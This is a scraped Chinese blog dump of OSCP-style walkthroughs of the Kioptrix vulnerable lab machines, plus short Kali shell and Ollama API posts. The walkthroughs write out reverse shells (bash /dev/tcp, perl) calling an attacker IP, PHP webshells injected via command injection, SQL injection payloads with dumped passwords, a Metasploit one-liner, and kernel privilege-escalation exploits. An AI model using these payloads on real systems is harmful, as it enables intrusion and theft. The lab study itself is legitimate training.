14点25分\n就是代理问题，回头要重新配代理，刷靶机的时候不要瞎玩游戏。\n可以看到服务器配置信息里写了，配置信息里写了用mozilla的请求头就可以访问8080\n如果没有安装hackbar，也可以用curl方法判断。\n搜索并下载相关poc。\n这里他给出了漏洞原理是phptax有个漏洞，就可以利用这个漏洞执行命令。这里恶意代码执行的是nc -l -v -p 23235 -e /bin/bash，需要在攻击机上启动nc监听端口来接收反弹的shell。但是，我查了网上的一些攻略帖子说nc bash php python都弹不回来，可能是靶机没有这几个命令或者限制用这几个命令。\n链接靶机 方法1：一句话木马链接蚁剑终端 先测试靶机能不能执行命令。\n1http://192.168.139.134:8080/phptax/drawimage.php?pfilez=xxx;ls%20-al%20%3e1.txt;\u0026amp;pdf=make 或者在BurpSuit里面抓包后send\n把一句话木马加工到上面的连接中\n1\u0026lt;?php system($_GET[\u0026#34;cmd\u0026#34;]);?\u0026gt; 2http://192.168.139.134:8080/phptax/drawimage.php?pfilez=xxx;ls%20-al%20%3e1.txt;\u0026amp;pdf=make 3http://192.168.139.134:8080/phptax/drawimage.php?pfilez=xxx;echo \u0026#39;\u0026lt;?php system($_GET[\u0026#34;cmd\u0026#34;]);?\u0026gt;\u0026#39; \u0026gt; 222.php;\u0026amp;pdf=make 4http://192.168.139.134:8080/phptax/drawimage.php?pfilez=xxx;echo \u0026#39;\u0026lt;?php system($_REQUEST[\u0026#34;cmd\u0026#34;]);?\u0026gt;\u0026#39; \u0026gt; ant.php;\u0026amp;pdf=make 然后再执行一次ls看1.txt里面有111.php了。然后也能成功执行命令。\n蚁剑安装包：https://www.yuque.com/antswordproject/antsword/srruro\n2025年2月24日 18点04分\n也可关注公众号泷羽Sec-静安，后台回复找工具+Day4获取。\n2025年2月25日 9点15分\n1http://192.168.139.134:8080/phptax/drawimage.php?pfilez=xxx;echo \u0026#39;\u0026lt;?php system($_REQUEST[\u0026#34;cmd\u0026#34;]);?\u0026gt;\u0026#39; \u0026gt; ant.php;\u0026amp;pdf=make 注意，蚁剑要用上面这句_REQUEST生成的木马php才可以连成功。\n方法2：perl弹nc反连 1nc -lvnp 4777 2perl -MIO -e \u0026#39;$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\u0026#34;192.168.139.128:4777\u0026#34;);STDIN-\u0026gt;fdopen($c,r);$~-\u0026gt;fdopen($c,w);system$_ while\u0026lt;\u0026gt;;\u0026#39; 3http://192.168.139.134:8080/phptax/drawimage.php?pfilez=xxx;perl -MIO -e \u0026#39;$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\u0026#34;192.168.139.128:4777\u0026#34;);STDIN-\u0026gt;fdopen($c,r);$~-\u0026gt;fdopen($c,w);system$_ while\u0026lt;\u0026gt;;\u0026#39;;\u0026amp;pdf=make 方法3：msf全家桶一键（不推荐考试只有一次机会） 不知道为什么没有终端传过来，可能是msf版本问题，外国人写的几个教程都比较老了21年以前的msf。msf版本更新是会出现一些打不进去的情况。要多走几条路，条条大路通罗马，根根网线通靶机。\n提权 用26368.c，这里注意检查一下靶机上有没有gcc，有的话就先传c文件，到靶机编译。然后顺带查一下有哪些传文件的命令，有nc和ftp可以用。\n新版的kali直接开ftp服务器有点问题，提示要下载包，但是下载也有问题。\n1sudo apt install pipx 2pipx ensurepath 3pipx install pyftpdlib 4pipx run pyftpdlib --directory=. --port=2121 --write 或者传到Windows本机物理机上的终端开ftp。\n1pip install pyftpdlib 2 python -m pyftpdlib 1ftp ftp://192.168.139.1:2121/26368.c 然后再在靶机上用ftp的命令下载。\n用蚁剑的话可以直接传文件。但是蚁剑的终端显示不了root，所以混合着用。\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-02-26T16:53:47Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/kioptrix%E7%B3%BB%E5%88%971-5/","title":"Kioptrix系列1-5"},{"content":" 关注 泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。 关注公众号泷羽Sec-静安，后台回复找工具+Day4获取BurpSuit 和Yakit安装包。\n最近忙这学C++，还有工作调动，好消息是我升职了，祝各位同行也早日升职，走上人生巅峰，实现财富自由，我也向着这个目标努力哈哈哈。前两天在忙着找房子租房子，找了一圈下来基本都要1500+/月，一室一厅一卫，最后还是算了，睡单位破宿舍得了，免费又近，上下班时间2分钟，除了洗澡洗衣服不方便。而且后面忙起来可能会一直在办公室加班，在办公室学习也不错的。我们办公室学习氛围很好。\n2025年2月21日 16点12分\nKioptrix: Level 1.3 (#4) 老样子先看网段。\n打开网页看，一个登录入口，弱密码和sql注入试了似乎不行。\n目录扫描发现似乎有敏感文件泄露。\n没有什么发现，重新用dirsearch扫描试试。\n直接用john/1234登录index是不行的，但是继续扫描发现有额外的登录页面。试了也不行。\n只有返回登陆界面试试sqlmap自动注入，尽量别用，下次有别的思路再试试。\n1sqlmap -r KP4.txt --dump --batch --level 3 1Database: members 2Table: members 3[2 entries] 4+----+-----------------------+----------+ 5| id | password | username | 6+----+-----------------------+----------+ 7| 1 | MyNameIsJohn | john | 8| 2 | ADGAdsafdfwt4gadfga== | robert | 9+----+-----------------------+----------+ 网页能登录，但是啥也没有，试试ssh登录。\n1ssh -o HostKeyAlgorithms=+ssh-rsa john@192.168.139.133 登上去后发现应该是命令受限，只能使用几个命令，whoami都不行。help发现只能用下面这几个。\n用echo就能逃逸这个终端环境到bash环境，用更多命令。\n1find / -name \u0026#34;*.php\u0026#34; 2\u0026gt;/dev/null 找一下php文件，刚刚目录扫描出来的文件泄露有php，所以可能有php文件泄露。\n两个php文件内容是一样的，其他的看了也没有特别的发现，这里写了用户名和密码，root，空密码，是mysql的密码。\n1 mysql -u root -p 然后再在mysql里面用udf提权，老演员了。\nUDF提权方法1-手动哈希注入 1show global variables like \u0026#34;secure_file_priv\u0026#34;; 2select @@version_compile_os, @@version_compile_machine; 这个属性为空值就可以提权。\n不太确认用哪个了，而且plung目录似乎没有，这个方法不行。\nUDF提权方法2-sys_exec函数提权 sys_exec可以使用系统命令，直接把john加管理员里。\n1select * from mysql.func 2select sys_exec(\u0026#39;usermod -a -G admin john\u0026#39;); udf提权方法3-sqlmap提权 以上是手动写入的方法，以下是sqlmap自动写入的方法，sqlmap使用前提是知道账号密码。\n1sqlmap -d \u0026#34;mysql://root:@192.168.139.133:3306/mysql\u0026#34; --os-shell 此处应用失败是因为靶机的mysql端口没有打开，只是在内部访问。\n2025年2月21日 17点27分\nKioptrix: 2014 (#5) 2025年2月22日14点04分\n官方推荐的靶场笔记博客 https://www.abatchy.com/2017/01/kioptrix-2014-5-walkthrough-vulnhub.html\n打开靶机，扫描靶机。\n端口，ssh没有开放，就一个80和8080端口开放。\n主页就一个静态网页。\ncurl网页源码发现一个应该是框架的东西pChart从名字看应该改是画图之类的东西。搜索相关利用漏洞，只有一个。\n先测试一下能不能打开这个网页，如果打不开，Vmware提示什么FreeBSD tools更新之类的是vmware犯病，不用管也不用更新，重启靶机就行。\n然后就能用这个漏洞看文件了，看密码，看apache配置。\n1http://192.168.139.134/pChart2.1.3/examples/index.php?Action=View\u0026amp;Script=%2f..%2f..%2fetc/passwd 2http://192.168.139.134/pChart2.1.3/examples/index.php?Action=View\u0026amp;Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf 2025年2月22日 15时18分\n之前能打开一次，估计时靶机有问题，然后vmware老提示FreeBSD tools安装的问题，不确定是哪一个，重新下载官方镜像，然后安装VBox 和相关插件再试试，我看官网是用Vbox 的。还有可能是劫持问题。后面试了有觉得可能是因为刷靶机中途开了加速器玩了几把Kards，开加速器的时候把代理干废了，然后就登不上了。\n是玩游戏导致代理混乱，重新在BurSuit中配置代理的方法。这个是我翻墙的代理，平时都开着。\nburp连代理有时候不成功，多试几次，可能是因为机场问题，检查一下机场节点是不是超过300ms了。\n2025年2月24日 14点25分\n就是代理问题，回头要重新配代理，刷靶机的时候不要瞎玩游戏。\n可以看到服务器配置信息里写了，配置信息里写了用mozilla的请求头就可以访问8080\n如果没有安装hackbar，也可以用curl方法判断。\n搜索并下载相关poc。\n这里他给出了漏洞原理是phptax有个漏洞，就可以利用这个漏洞执行命令。这里恶意代码执行的是nc -l -v -p 23235 -e /bin/bash，需要在攻击机上启动nc监听端口来接收反弹的shell。但是，我查了网上的一些攻略帖子说nc bash php python都弹不回来，可能是靶机没有这几个命令或者限制用这几个命令。\n链接靶机 方法1：一句话木马链接蚁剑终端 先测试靶机能不能执行命令。\n1http://192.168.139.134:8080/phptax/drawimage.php?pfilez=xxx;ls%20-al%20%3e1.txt;\u0026amp;pdf=make 或者在BurpSuit里面抓包后send\n把一句话木马加工到上面的连接中\n1\u0026lt;?php system($_GET[\u0026#34;cmd\u0026#34;]);?\u0026gt; 2http://192.168.139.134:8080/phptax/drawimage.php?pfilez=xxx;ls%20-al%20%3e1.txt;\u0026amp;pdf=make 3http://192.168.139.134:8080/phptax/drawimage.php?pfilez=xxx;echo \u0026#39;\u0026lt;?php system($_GET[\u0026#34;cmd\u0026#34;]);?\u0026gt;\u0026#39; \u0026gt; 222.php;\u0026amp;pdf=make 4http://192.168.139.134:8080/phptax/drawimage.php?pfilez=xxx;echo \u0026#39;\u0026lt;?php system($_REQUEST[\u0026#34;cmd\u0026#34;]);?\u0026gt;\u0026#39; \u0026gt; ant.php;\u0026amp;pdf=make 然后再执行一次ls看1.txt里面有111.php了。然后也能成功执行命令。\n蚁剑安装包：https://www.yuque.com/antswordproject/antsword/srruro\n2025年2月24日 18点04分\n也可关注公众号泷羽Sec-静安，后台回复找工具+Day4获取。\n2025年2月25日 9点15分\n1http://192.168.139.134:8080/phptax/drawimage.php?pfilez=xxx;echo \u0026#39;\u0026lt;?php system($_REQUEST[\u0026#34;cmd\u0026#34;]);?\u0026gt;\u0026#39; \u0026gt; ant.php;\u0026amp;pdf=make 注意，蚁剑要用上面这句_REQUEST生成的木马php才可以连成功。\n方法2：perl弹nc反连 1nc -lvnp 4777 2perl -MIO -e \u0026#39;$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\u0026#34;192.168.139.128:4777\u0026#34;);STDIN-\u0026gt;fdopen($c,r);$~-\u0026gt;fdopen($c,w);system$_ while\u0026lt;\u0026gt;;\u0026#39; 3http://192.168.139.134:8080/phptax/drawimage.php?pfilez=xxx;perl -MIO -e \u0026#39;$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\u0026#34;192.168.139.128:4777\u0026#34;);STDIN-\u0026gt;fdopen($c,r);$~-\u0026gt;fdopen($c,w);system$_ while\u0026lt;\u0026gt;;\u0026#39;;\u0026amp;pdf=make 方法3：msf全家桶一键（不推荐考试只有一次机会） 不知道为什么没有终端传过来，可能是msf版本问题，外国人写的几个教程都比较老了21年以前的msf。msf版本更新是会出现一些打不进去的情况。要多走几条路，条条大路通罗马，根根网线通靶机。\n提权 用26368.c，这里注意检查一下靶机上有没有gcc，有的话就先传c文件，到靶机编译。然后顺带查一下有哪些传文件的命令，有nc和ftp可以用。\n新版的kali直接开ftp服务器有点问题，提示要下载包，但是下载也有问题。\n1sudo apt install pipx 2pipx ensurepath 3pipx install pyftpdlib 4pipx run pyftpdlib --directory=. --port=2121 --write 或者传到Windows本机物理机上的终端开ftp。\n1pip install pyftpdlib 2 python -m pyftpdlib 1ftp ftp://192.168.139.1:2121/26368.c 然后再在靶机上用ftp的命令下载。\n用蚁剑的话可以直接传文件。但是蚁剑的终端显示不了root，所以混合着用。\n小技巧 一句话木马和反弹shell的命令记不得可以用这个插件—— Hack Tools。\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-02-26T16:47:42Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/day5-kioptrix-%E7%B3%BB%E5%88%97%E9%9D%B6%E6%9C%BA4-5/","title":"Day5 Kioptrix 系列靶机4-5"},{"content":" 关注 泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。 关注公众号泷羽Sec-静安，后台回复找工具+Day4获取BurpSuit 和Yakit安装包。\n2025年2月7日 22点36分\n为了提高学习效率，我会在文章开头写日期和时间，末尾写结束时候的时间，看多久学的玩。有时候我也不是一口气学完，而是学一般要么有主业的工作打断，要么该睡觉了。\nKioptrix: Level 1.1 (#2) 2025年2月8日 14点15分\n在攻击机上输入ifconfig查看本机网段。\n1nmap -sP 192.168.139.0/24 -T5 扫描网段，发现130网段，是靶机，本机是128，254是网关，1，2都是网关。打开网页看一下，推测是sql注入。\n1nmap -sS -T5 192.168.139.130 -A 2nmap -sS -T5 192.168.139.130 -p- 扫描靶机的端口。\nsql万能密码都试一遍。以下两个都可以\nadmin\u0026#39; and 1=1 -- + admin\u0026#39; -- + 网页提示让我们ping机器，但是没有ping的地方。dirb http://192.168.139.130/ 扫描目录发现一个没啥用的manual页面，先放着\n查看网页源码发现有括号没有闭合。\n复制后粘贴修改源码，把括号闭合。\n出现ping框。\n输入执行whoami的测试语句，能看到执行了whoami的语句。\n然后构造一个反弹shell的语句用来链接shell。到网站 https://www.ddosi.org/shell/ 可以快速构造反弹语句。\n1nc -lvnp 9001 在攻击机输入监听命令启动监听。\n在浏览器submit处的127.0.0.1 \u0026amp;\u0026amp; 后面拼接反弹命令得到\n1127.0.0.1 \u0026amp;\u0026amp; /bin/bash -i \u0026gt;\u0026amp; /dev/tcp/192.168.139.128/9001 0\u0026gt;\u0026amp;1 成功回弹获得bash权限，接下来是提权为root账户。执行uname 和lsb_release -a发现版本号，搜索相关poc。\n从核心版本号2.6.9选择9542.c这个poc。\nsearchsploit -m 9542.c 攻击机开启http服务，上传poc到靶机。\npython -m http.server cd /tmp wget http://192.168.139.128:8000/9542.c 编译执行，提权成功。\n1gcc -o exp 9542.c 2./exp 3whoami 2025年2月8日 14点55分\nKioptrix: Level 1.2 (#3) 开启靶机后，在攻击机扫描网段。以下命令多开终端同步扫。\n1nmap -sP 192.168.139.0/24 -T5 2nmap -sS -T5 192.168.139.131 -p- 3nmap -sS 192.168.139.131 -p- --min-rate 1000 -A 4dirb http://192.168.139.131/ 访问80端口看到网页，点了一圈没有发现。\n目录扫描发现php管理员登录入口。\n发现登录界面，用万能密码，只填用户名，密码部分留空。\nroot\u0026#34; and 1=1 -- + 点击表，点击搜索，发现安全设置有问题，可以写文件。\nshow global variables like \u0026#34;secure%\u0026#34;; 暂时没有想法，先从其他地方继续收集信息。从80网页点进去发现一个登录窗口。\n主页点gallery会跳转到新的地址，但是图片之类的都显示不出来。\n2025年2月8日 15点45分\n中间去工作了，然后发现自己没有安装BurpSuit，原本装的Pro版，后来刷机刷没了，Yakit的劫持也忘了配置，浏览器插件没有装，去安装了一下。安装步骤可以看最后面。\n2025年2月8日 18点49分\nLotus CMS 漏洞\u0026amp;passwd漏洞 先找找Lotus CMS有没有什么漏洞，这个是登录网页的框架。搜索发现如下工具。\nhttps://github.com/Hood3dRob1n/LotusCMS-Exploit\n选择1，反弹成功。\n接下来需要提权成root。\n目前这个中腹案不太好看，发现有python，给他弄成交互式终端。\npython -c \u0026#39;import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; 查询终端信息。\n试了一些常规的提权方法不行，翻翻看文件夹，发现home文件夹下有个READEME文件。\n1 2Hello new employee, 3It is company policy here to use our newly installed software for editing, creating and viewing files. 4Please use the command \u0026#39;sudo ht\u0026#39;. 5Failure to do so will result in you immediate termination. 6 7DG 8CEO 9--- 10你好，新员工，使用我们新安装的软件来编辑、创建和查看文件是公司的规定。请使用命令“sudo ht”。如果不这样做，你将被立即解雇。DG首席执行官 sudo了一下也不行。另一个文件好像也不是有用的。\n回到READEME的提示，会发现要执行的时候没有paswwd，所以想从etc/passwd方向入手。看到有两个poc：40847.cpp和40839.c\n编译第一个\n1g++ -o 40847 40847.cpp 2./40847 -h 3--- 4./40847 [-s] [-n] | [-h] 5 6 -s open directly a shell, if the exploit is successful; 7 -n combined with -s, doesn\u0026#39;t restore the passwd file. 8 -h print this synopsis; 9 10 If no param is specified, the program modifies the passwd file and exits. 11 A copy of the passwd file will be create in the current directory as .ssh_bak 12 (unprivileged user), if no parameter or -n is specified. 13 14--- 15-s如果攻击成功，直接打开shell； 16-n和-s组合，不恢复passwd文件。-h打印概要； 17如果没有指定参数，程序将修改passwd文件并退出。 18在当前目录中将以.ssh的形式创建passwd文件的副本_如果不指定参数或-n，则为Bak（非特权用户）。 失败，换40839，编译报错，提示缺少库文件。\n文件中给出了编译命令。\n1gcc -pthread 40839.c -o 40839 -lcrypt 下载到靶机上编译执行。\n这里我没注意看，它提示重置密码，我直接输入成了ls，等待他执行改密操作。\n他现在提示我现在可以用ls做密码登录账户firefart，注意添加 -o 参数，不然版本太低登不进去。登不进去就直接su firefart\n1ssh -o HostKeyAlgorithms=+ssh-rsa firefart@192.168.139.131 虽然名字不是root，但是权限是root。\n页面sql注入漏洞 因为之前找到phpadmin登陆界面，应该是有sql漏洞的。\n主页点击浏览，发现有很多图片显示不出来，点击任意一个链接发现跳转新的域名，这个域名不是已经注册的，可能是跳转自己，但是DNS没有解析。\n修改本机Host文件，让这个域名解析到指定ip，就是靶机的ip。\n保存host文件，刷新一下浏览器就有了。\n发现疑似注入的入口。\n存在，可用，接下来就是调参了。\nsqlmap 自动注入 懒人用sqlmap走一下捷径，实际考试sqlmap有限制次数，所以小的能手注的还是练习一下。\n1sqlmap -u http://192.168.139.131/gallery/gallery.php?id=1* --dbs --batch 2sqlmap -u http://192.168.139.131/gallery/gallery.php?id=1* -D gallery --tables --batch 3sqlmap -u http://192.168.139.131/gallery/gallery.php?id=1* -D gallery -T gallarific_users --dump-all 最后一步爆库很慢\n手动注入 1http://kioptrix3.com/gallery/gallery.php?id=1\u0026#39; # 报错 2http://kioptrix3.com/gallery/gallery.php?id=1 # 不报错，是整数型注入 3http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,33,44,55,66 4http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,database(),user(),44,55,66 5# 回显 database()为gallery，user()为root@localhost 6http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(schema_name),44,55,66 from information_schema.schemata 7# 回显 information_schema,gallery,mysql 8http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(TABLE_NAME),44,55,66 from information_schema.TABLES where TABLE_SCHEMA=database() 9# 回显 dev_accounts,gallarific_comments,gallarific_galleries,gallarific_photos,gallarific_settings,gallarific_stats,gallarific_users 10# gallarific_users 里可能会有用户名和密码 查表 11http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(column_name),44,55,66 from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME=\u0026#39;gallarific_users\u0026#39; 12# 回显 userid,username,password,usertype,firstname,lastname,email,datejoined,website,issuperuser,photo,joincode 13http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,username,password,44,55,66 from gallery.gallarific_users 14# 回显 admin n0t7t1k4 15http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(concat_ws(\u0026#39;:\u0026#39;,username,password)) ,44,55,66 from gallery.gallarific_users 16# 回显 admin:n0t7t1k4 17http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(concat_ws(\u0026#39;:\u0026#39;,username,password)) ,44,55,66 from gallery.dev_accounts 18# 回显 dreg:0d3eccfb887aabd50f243b3f155c0f85,loneferret:5badcaf789d3d1d09794d8f021f40f0e 1# 回显 admin:n0t7t1k4 2# 回显 dreg:0d3eccfb887aabd50f243b3f155c0f85,loneferret:5badcaf789d3d1d09794d8f021f40f0e 3--- 4# 解密后为 https://www.cmd5.com/default.aspx 5admin:n0t7t1k4 6dreg:Mast3r 7loneferret:starwars ssh登录\n1ssh -oHostKeyAlgorithms=+ssh-rsa admin@192.168.139.131 2ssh -oHostKeyAlgorithms=+ssh-rsa dreg@192.168.139.131 3ssh -oHostKeyAlgorithms=+ssh-rsa loneferret@192.168.139.131 除了admin的账户登不上，其他的都可以登录，这里可以又回到之前的用passwd漏洞切换账户。\nsuid 提权 也可以用suid方法提权。\n1find / -perm -u=s -type f 2\u0026gt;/dev/null # 发现有sudo 命令 2025年2月8日 22点27分\n做到这里一开始怀疑是40839的问题，后来解压了新靶机也不行，推测是靶机文件问题，从官方渠道下载新的。 https://download.vulnhub.com/kioptrix/KVM3.rar 等着下载，然后正好也歇一会\n2025年2月8日 22点39分\n按键盘alt+w唤出选择界面，选择打开/etc/sudoers。\n修改添加/bin/sh使root权限可以再bash中使用。保存退出。\nMSF 工具箱 LotusCMS RCE 1searchsploit lotuscms 注意OSCP考试只能使用一次MSF工具箱，所以应该掌握多种攻击方法。\n先在2另一个终端开启监听。\n1set rhosts 192.168.139.132 2set uri /index.php?system=Admin 3set lhost 192.168.139.128 4set lport 9001 5set payload generic/shell_reverse_tcp 然后再已经开启的9001端口就可以看得到回弹了。也可以把上述msf命令写成一行。\n1msfconsole -q -x \u0026#39;use exploit/multi/http/lcms_php_exec;set uri /index.php?system=Admin;set rhosts 192.168.139.132;set lhost 192.168.139.128;set lport 9001;set payload generic/shell_reverse_tcp;run\u0026#39; phpadmin 漏洞 使用LotusCMS漏洞进去后还有个地方进去。在配置文件下有数据库的账号密码。\n1cd gallery 2cat gconfig.php 3--- 4$GLOBALS[\u0026#34;gallarific_mysql_server\u0026#34;] = \u0026#34;localhost\u0026#34;; 5$GLOBALS[\u0026#34;gallarific_mysql_database\u0026#34;] = \u0026#34;gallery\u0026#34;; 6$GLOBALS[\u0026#34;gallarific_mysql_username\u0026#34;] = \u0026#34;root\u0026#34;; 7$GLOBALS[\u0026#34;gallarific_mysql_password\u0026#34;] = \u0026#34;fuckeyou\u0026#34;; 2025年2月9日 00点01分\n到此刷完K3靶机，本来2到5是Day4一天的内容，但是我刷不完，就分两次做了。\n参考\nhttps://www.cnblogs.com/wsec/p/vulhub0x03.html#1-sqli%E6%89%8B%E5%B7%A5%E6%B3%A8%E5%85%A5 https://blog.csdn.net/shulao2010/article/details/130818800\n推荐安装插件 https://chromewebstore.google.com/detail/proxy-switchyomega-3-zero/pfnededegaaopdmhkdmcofjmoldfiped?hl=zh-CN\u0026utm_source=ext_sidebar\n切换代理的，也可以装FoxProxy等其他浏览器插件。\nhttps://chromewebstore.google.com/detail/wappalyzer-technology-pro/gppongmhjkpfnbhagpmjfkannfbllamg?hl=zh-CN\u0026utm_source=ext_sidebar\n看网站框架信息\nhttps://chromewebstore.google.com/detail/hack-tools/cmbndhnoonmghfofefkcccljbkdpamhi?hl=zh-CN\u0026utm_source=ext_sidebar\n黑客工具箱子，方便随时生成反弹shell，还有其他一些小工具。\nhttps://chromewebstore.google.com/detail/shodan/jjalcfnidlmpjhdfepjhjbhnhkbgleap?hl=zh-CN\u0026utm_source=ext_sidebar\n看网站域名所属信息。\nhttps://chromewebstore.google.com/detail/hunter-email-finder-exten/hgmhmanijnjhaffoampdlllchpolkdnj?hl=zh-CN\u0026utm_source=ext_sidebar\n社工找邮箱。\nhttps://chromewebstore.google.com/detail/%E6%B2%89%E6%B5%B8%E5%BC%8F%E7%BF%BB%E8%AF%91-%E7%BD%91%E9%A1%B5%E7%BF%BB%E8%AF%91%E6%8F%92%E4%BB%B6-pdf%E7%BF%BB%E8%AF%91-%E5%85%8D%E8%B4%B9/bpoadfkcbjbfhfodiogcnhhhpibjhbnh?hl=zh-CN\u0026utm_source=ext_sidebar\n翻译网页\nHackbar破解方法 https://chromewebstore.google.com/detail/hackbar/\n搜索ID值找到本地文件，找到第26行代码，将“license_ok=false”改为“license_ok=true”,然后在Chrome浏览器按“F12”键，选择HackBar，在License框中随便输入一个许可码\nhttps://portswigger.net/burp/releases/community/latest\nYakit和BurpSuit一样都可以抓包浏览器，不过Yakit是国产的，自带中文，还有很多漏洞扫描插件，不过OSCP考试时要求BurpSuit，对Yakit没有明确规定，如果要用要询问考官。\nBurpSuit配置 关注公众号泷羽Sec-静安，后台回复找工具+Day4获取BurpSuit 和Yakit安装包。\n安装好启动后在浏览器种安装插件OmegaSwitch，然后点击设置，新建新的情景。按照如下端口设置。\n然后再浏览器中输入127.0.0.1:8080打开i如下界面表示启动成功，点击安装证书。\n打开浏览器安全设置安装证书，我建议用于渗透的浏览器是Google chrome，能支持大多数协议显示。建议和自己日常用的浏览器分开，不要存个人账户信息。\n导入后切换代理为Burp模式，就能看到抓的包。\nYakit配置 Yakit配置和BurpSuit类似。新建一个情景模式，然后切换这个模式访问 http://mitm/ 自动下载证书，比叫方便。\n可以看到已经抓包成功了。\n关注公众号泷羽Sec-静安，后台回复找工具+Day4获取BurpSuit 和Yakit安装包。\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-02-09T00:08:33Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/day4-kioptrix-%E7%B3%BB%E5%88%97%E9%9D%B6%E6%9C%BA2-3/","title":"Day4 Kioptrix 系列靶机2-3"},{"content":" 关注 泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。\nKali Shell 的基本使用 Kali系统是Ubuntu发行版改，所以大部分命令和Ubuntu一样，我之前已经学习过并且有7年使用历史，所以这部分我就不按照教材和课程进度快速跳过了。这里推荐一个网站，可以速查常用编程语言的命令速查表。关注公众号泷羽Sec-静安，后台回复找工具+Day3获取速查表。你可以把速查表打印出来放入资料册或者笔记本中，方便随时翻阅，比起在电脑中查询更方便，排版良好的Cheat Sheet是非常好用的工具。你也可以在网上搜索这个关键字看到更多的速查表，下列的网站中也有这样的速查表大全网站。\nhttps://www.datacamp.com/cheat-sheet/bash-and-zsh-shell-terminal-basics-cheat-sheet 英文版，有pdf可下载 https://quickref.cn/docs/bash.html 中文版bash常见命令 https://github.com/skywind3000/awesome-cheatsheets/blob/master/languages/bash.sh bash命令在线 https://wangchujiang.com/shell-tutorial/ 中文版shell用法 https://quickref.cn/docs/vim.html 顺便补充一个vim用法\n你也可以把其他的命令，或者今后总结的常用的渗透命令总结为一个速查表，然后交给AI帮你排版：\n1把文件中的命令按照分类制作成cheat sheet，请用蓝白配色排版，我希望排版在1到3也横版A4纸大小的PDF文件中，请给我html或者latex文件 推荐使用在线Latex编辑器排版，如果你已经在本地有Latex也可以在本地调试，Latex的安装非常大，所以我推荐使用在线排版。\nhttps://www.overleaf.com/\n文本编辑器 Nano和vim Nano和Vim都是终端编辑器，一般都是系统自带的。之前你可能已经用过vim，或者在退出vim的时候打出了一堆乱码而无法退出感到沮丧。可以通过以下资源练习vim和nano的使用，我推荐两个至少要会进入，编辑，保存，退出这几个操作。在实战过程中一些搭载服务的docker容器可能只有nano或vi（注意vi比vim更丐版，很多高级vim命令无法使用）。甚至有些更小的容器就没有文本编辑器，要学会使用管道命令如cat hack \u0026gt;\u0026gt; .bashrc来修改文本内容，达到渗透目的。\nhttps://quickref.cn/docs/vim.html vim用法 https://github.com/skywind3000/awesome-cheatsheets/blob/master/editors/nano.txt nano用法 https://github.com/skywind3000/awesome-cheatsheets/blob/master/editors/vim.txt vim 用法\n推荐练习的命令 这是教材中推荐练习的命令，你可以通过速查表查看他们可以怎么做，也可以询问搜索引擎和AI更多用法。其中grep是之后在CTF赛中常用的查找命令，比如ls | grep flag用于查找当前文件夹下是否存在flag文件。而awk命令除了基本的操作外，还可用于提权，这个在今后会有内容讲到。\ngrep sed cut cat awk comm diff vimdiff ping jobs fg ps kill tail watch wget curl axel history alias 关注公众号泷羽Sec-静安，后台回复找工具+Day3获取速查表。\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-02-08T06:00:00Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/day3-kali-shell%E5%9F%BA%E6%9C%AC%E5%91%BD%E4%BB%A4/","title":"Day3 Kali Shell基本命令"},{"content":" 关注 泷羽Sec-静安 公众号，后台回复“找工具+20250201”获取本文的GUI工具\n调用示例 ollama模型刚建好是可以在终端用的，但是终端界面太丑了，想着怎么写个界面。好在这玩意是有API调用的，下面这个就是终端调用api的示范。\n1curl http://localhost:11434/api/generate -d \u0026#39;{ 2 \u0026#34;model\u0026#34;: \u0026#34;deepseek-r1:1.5b\u0026#34;, 3 \u0026#34;prompt\u0026#34;: \u0026#34;你好\u0026#34; 4 }\u0026#39; 